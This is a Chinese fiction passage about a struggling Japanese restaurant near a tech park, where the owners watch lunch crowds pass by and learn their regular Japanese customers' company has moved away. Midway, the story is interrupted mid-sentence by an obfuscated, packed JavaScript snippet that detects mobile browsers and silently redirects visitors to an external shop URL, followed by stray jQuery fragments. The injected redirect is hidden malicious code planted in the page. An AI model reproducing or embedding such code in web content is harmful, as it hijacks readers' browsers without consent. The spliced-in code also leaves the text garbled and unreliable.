十一点二十分，店里已经开门了。后厨开始准备午市，厨师把当天的鱼拿出来处理，刀落在案板上的声音规律而沉闷。服务员擦桌子，摆餐具，把菜单重新整理好。空调开着，寿司柜里的灯亮着，一切看起来都很正常，就像一家正常营业的店。
林深坐在收银台后面看手机，也看门。科技园中午十一点半开始有人出来，她已经习惯了——每天都是这个时间，每天都是同样的画面。写字楼的玻璃门打开，一群人涌出来，像下课铃响后的学生。有人拿着手机边走边聊，有人已经在讨论吃什么，还有人骑上共享单车匆匆离开。最开始开店的时候，林深很喜欢这个时间，因为她觉得人多，人多就有机会。后来她发现不是这样的，人多不一定是你的客人。
十一点四十，第一批人经过门口，没有人进来。十一点五十，第二批人经过门口，还是没有人进来。服务员已经习惯了，继续低头摆弄手机。厨师从后厨探出头看了一眼外面，又缩了回去。大家都在等，但没人说出来。
十二点整，园区彻底热闹起来。楼下人流越来越密，从收银台看出去外面几乎全是人，乌泱泱一大片。林深甚至能听见他们聊天的声音——“黄焖鸡？”“昨天吃了。”“那吃面吧。”“走走走。”“快点，我下午还有会。”一群人从门口经过，没有停。又一群人经过，还是没有停。店里的座位空着，靠窗的位置空着，最里面的位置空着，连最便宜的定食套餐宣传牌都没人看。林深把视线收回来，低头继续看手机。过了几秒又忍不住抬头。这是她最近养成的习惯，明知道大概率没人进来，还是会看。
十二点十分，终于有人停下来了。两个年轻男人站在门口，穿着园区工牌。其中一个拿起菜单：“吃这个吗？”林深下意识坐直了一点，动作很轻，几乎看不出来。另一个人朝里面看了一眼，目光扫过大厅，扫过空荡荡的桌子，扫过寿司柜，最后落到收银台。
“算了。”他说。
第一个人愣了愣：“为什么？”
那人压低声音，可店里太安静了，安静到林深听得一清二楚。“人太少了。日料这种东西还是吃人多的店吧。”他又往里面看了一眼，“这么空，食材估计都放很久了。”第一个人点点头：“也是。”然后两个人放下菜单走了，重新融进外面的人流里。从头到尾，甚至没有推开门。门口的风铃一次都没有响。
店里重新安静下来。林深低下头继续看手机，像什么都没发生，可她一个字都没看进去。过了一会儿服务员忽然小声问：“姐，今天是不是又没人啊？”林深抬头笑了一下：“再等等。”服务员点点头，继续玩手机去了。
十二点二十，陆沉从外面回来，手里夹着烟。他站在门口看了一会儿外面的人群，没说话，然后坐到吧台旁边。林深低头看账。陆沉忽然说：“人不少。”“嗯。”“比昨天还多。”“嗯。”两个人都知道对方在说什么，可谁都没继续往下说。
十二点半，终于进来一个客人，点了一份最便宜的定食，坐在角落，安静吃完，扫码付款，离开。营业额四十八。十二点四十又进来一个，点了一份咖喱饭，营业额加三十八。然后没有了。
一点钟，午高峰结束。门外的人越来越少，隔壁快餐店还在排队，再远一点的面馆门口也站着人。只有他们这里，安静得像没开门。服务员去吃饭了，厨师坐在后厨门口抽烟。陆沉拿着当天营业额统计单看了很久，没说话，最后递给林深。林深看了一眼——八十六块。整个中午，八十六。
她忽然想起刚开业的时候，中午其实没有这么惨。那时候店里总会来一些固定客人——几个穿衬衫的日本人，有个戴眼镜的中年男人总喜欢坐靠窗那张桌子，还有两个年轻工程师，说中文带着很重的口音，每次都点鳗鱼饭。他们不爱聊天，吃完就走，但来得很规律，有时候林深甚至能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691748|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
提前猜到他们会坐哪里。最近很久没看见了，开始她没在意，后来一个都没来了。
一点半，陆沉起身去隔壁买咖啡，回来时脸色不太好。他把咖啡放在吧台，沉默很久，忽然开口：“那家公司搬走了。”
林深抬头：“什么公司？”
“日本那个。”
她愣了一下：“搬走了？”
“嗯。”
“什么时候？”
“好像上个月。”陆沉笑了一下，笑得很苦，“咖啡店老板刚告诉我的。”林深没有说话，她忽然想起那些熟悉的脸——那个总坐窗边的男人，那个每次都点鳗鱼饭的人，那个说中文总会停顿一下的人。原来不是不来了，是走了。不知道为什么，她心里忽然空了一块。不是因为那几个人，而是因为她终于知道那些客人为什么消失了。
陆沉坐在旁边看着外面，很久以后才说：“以前不是这样的。”林深点点头：“嗯。”“我一直以为他们只是最近没来。”“我也是。”外面阳光很好，科技园依旧热闹，有人走路，有人打电话，有人买咖啡，一切都和以前一样。可有些东西已经不在了，就像父亲坐的位置，空着的时候没觉得，空久了才发现，原来真的没人会再坐回去。
下午两点，店里重新恢复安静。服务员靠在角落刷短视频，厨师开始准备晚市，陆沉拿着账本发呆。林深坐在收银台后面看着玻璃门外来来往往的人，那些人从店门口经过，像河流经过石头，热闹、匆忙、充满生活气息，却和他们没有关系。她忽然想起开店第一天，自己站在门口看着园区，觉得这里有那么多人，生意总不会太差。现在想想，人确实很多，只是从来都不是她的。
那天下午，谁都没有再提营业额，也没有提关店。可不知道为什么，林深觉得这家店好像又往下沉了一点。沉得很慢，甚至听不见声音，可她知道，它正在往下沉，一点一点，再也浮不上来了。